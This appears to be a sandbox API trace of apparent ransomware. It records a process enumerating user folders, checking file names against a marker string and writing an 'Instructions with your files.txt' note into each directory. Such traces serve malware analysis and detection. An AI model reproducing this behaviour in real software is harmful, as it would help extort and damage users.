[0130.810] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.810] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.810] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.810] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.810] CloseHandle (hObject=0x124) returned 1
[0130.810] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.811] GetProcessHeap () returned 0x810000
[0130.811] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.811] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 0
[0130.811] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\Instructions with your files.txt") returned 121
[0130.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.811] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.812] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.812] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.812] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.813] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.813] CloseHandle (hObject=0x120) returned 1
[0130.813] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.813] GetProcessHeap () returned 0x810000
[0130.813] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.813] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates.xml", cAlternateFileName="")) returned 1
[0130.813] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml") returned 92
[0130.813] StrStrIW (lpFirst="updates.xml", lpSrch="SDfghjkl") returned 0x0
[0130.813] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates.xml", cAlternateFileName="")) returned 0
[0130.813] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\Instructions with your files.txt") returned 113
[0130.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.813] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.814] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.814] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.814] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.814] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.815] CloseHandle (hObject=0x11c) returned 1
[0130.815] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.815] GetProcessHeap () returned 0x810000
[0130.815] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.816] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 0
[0130.816] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\Instructions with your files.txt") returned 96
[0130.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.816] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.818] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.818] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.818] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.818] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.818] CloseHandle (hObject=0x118) returned 1
[0130.818] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.818] GetProcessHeap () returned 0x810000
[0130.818] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.818] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0
[0130.818] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Instructions with your files.txt") returned 88
[0130.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.819] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.820] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.820] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.820] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.820] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.820] CloseHandle (hObject=0x114) returned 1
[0130.820] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.820] GetProcessHeap () returned 0x810000
[0130.820] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.820] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0130.820] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 52
[0130.820] GetProcessHeap () returned 0x810000
[0130.820] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.820] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*") returned 54
[0130.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.820] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\.") returned 54
[0130.820] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.820] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\..") returned 55
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x14aaf6c0, ftCreationTime.dwHighDateTime=0x1d5bc28, ftLastAccessTime.dwLowDateTime=0x3acb2f20, ftLastAccessTime.dwHighDateTime=0x1d5c234, ftLastWriteTime.dwLowDateTime=0x3acb2f20, ftLastWriteTime.dwHighDateTime=0x1d5c234, nFileSizeHigh=0x0, nFileSizeLow=0x99b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0vJa.gif", cAlternateFileName="")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0vJa.gif") returned 61
[0130.821] StrStrIW (lpFirst="0vJa.gif", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87d6f840, ftCreationTime.dwHighDateTime=0x1d5b829, ftLastAccessTime.dwLowDateTime=0xbe3ca5b0, ftLastAccessTime.dwHighDateTime=0x1d5bdba, ftLastWriteTime.dwLowDateTime=0xbe3ca5b0, ftLastWriteTime.dwHighDateTime=0x1d5bdba, nFileSizeHigh=0x0, nFileSizeLow=0x13079, dwReserved0=0x0, dwReserved1=0x0, cFileName="2f5wRJ_Npg--mPP7egIr.mp4", cAlternateFileName="2F5WRJ~1.MP4")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2f5wRJ_Npg--mPP7egIr.mp4") returned 77
[0130.821] StrStrIW (lpFirst="2f5wRJ_Npg--mPP7egIr.mp4", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1eade950, ftCreationTime.dwHighDateTime=0x1d5bb1c, ftLastAccessTime.dwLowDateTime=0xf684eea0, ftLastAccessTime.dwHighDateTime=0x1d5b73e, ftLastWriteTime.dwLowDateTime=0xf684eea0, ftLastWriteTime.dwHighDateTime=0x1d5b73e, nFileSizeHigh=0x0, nFileSizeLow=0x4beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="3edzirK3e6h609GKsTew.flv", cAlternateFileName="3EDZIR~1.FLV")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3edzirK3e6h609GKsTew.flv") returned 77
[0130.821] StrStrIW (lpFirst="3edzirK3e6h609GKsTew.flv", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe24a3360, ftCreationTime.dwHighDateTime=0x1d5c4c6, ftLastAccessTime.dwLowDateTime=0xd99c9300, ftLastAccessTime.dwHighDateTime=0x1d5bf00, ftLastWriteTime.dwLowDateTime=0xd99c9300, ftLastWriteTime.dwHighDateTime=0x1d5bf00, nFileSizeHigh=0x0, nFileSizeLow=0x8460, dwReserved0=0x0, dwReserved1=0x0, cFileName="5JYIIQp8v1.csv", cAlternateFileName="5JYIIQ~1.CSV")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5JYIIQp8v1.csv") returned 67
[0130.821] StrStrIW (lpFirst="5JYIIQp8v1.csv", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fe17a60, ftCreationTime.dwHighDateTime=0x1d5bdcd, ftLastAccessTime.dwLowDateTime=0x5e1bbe40, ftLastAccessTime.dwHighDateTime=0x1d5bde3, ftLastWriteTime.dwLowDateTime=0x5e1bbe40, ftLastWriteTime.dwHighDateTime=0x1d5bde3, nFileSizeHigh=0x0, nFileSizeLow=0x50de, dwReserved0=0x0, dwReserved1=0x0, cFileName="8-DkzGtI0A9wlW.mp3", cAlternateFileName="8-DKZG~1.MP3")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8-DkzGtI0A9wlW.mp3") returned 71
[0130.821] StrStrIW (lpFirst="8-DkzGtI0A9wlW.mp3", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7fa5e0, ftCreationTime.dwHighDateTime=0x1d5bef1, ftLastAccessTime.dwLowDateTime=0xc3c66650, ftLastAccessTime.dwHighDateTime=0x1d5c2bb, ftLastWriteTime.dwLowDateTime=0xc3c66650, ftLastWriteTime.dwHighDateTime=0x1d5c2bb, nFileSizeHigh=0x0, nFileSizeLow=0x6dab, dwReserved0=0x0, dwReserved1=0x0, cFileName="9vEh.odp", cAlternateFileName="")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\9vEh.odp") returned 61
[0130.821] StrStrIW (lpFirst="9vEh.odp", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb257c4a0, ftCreationTime.dwHighDateTime=0x1d5c5d5, ftLastAccessTime.dwLowDateTime=0x9f4c95c0, ftLastAccessTime.dwHighDateTime=0x1d5c5d5, ftLastWriteTime.dwLowDateTime=0x9f4c95c0, ftLastWriteTime.dwHighDateTime=0x1d5c5d5, nFileSizeHigh=0x0, nFileSizeLow=0x13f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="a-j00hfjza2tT7.mp3", cAlternateFileName="A-J00H~1.MP3")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a-j00hfjza2tT7.mp3") returned 71
[0130.821] StrStrIW (lpFirst="a-j00hfjza2tT7.mp3", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa270ece0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log") returned 65
[0130.821] StrStrIW (lpFirst="AdobeARM.log", lpSrch="SDfghjkl") returned 0x0
[0130.821] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
[0130.821] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies") returned 60
[0130.821] GetProcessHeap () returned 0x810000
[0130.821] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.821] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*") returned 62
[0130.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.822] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\.") returned 62
[0130.822] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.822] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.822] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\..") returned 63
[0130.822] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
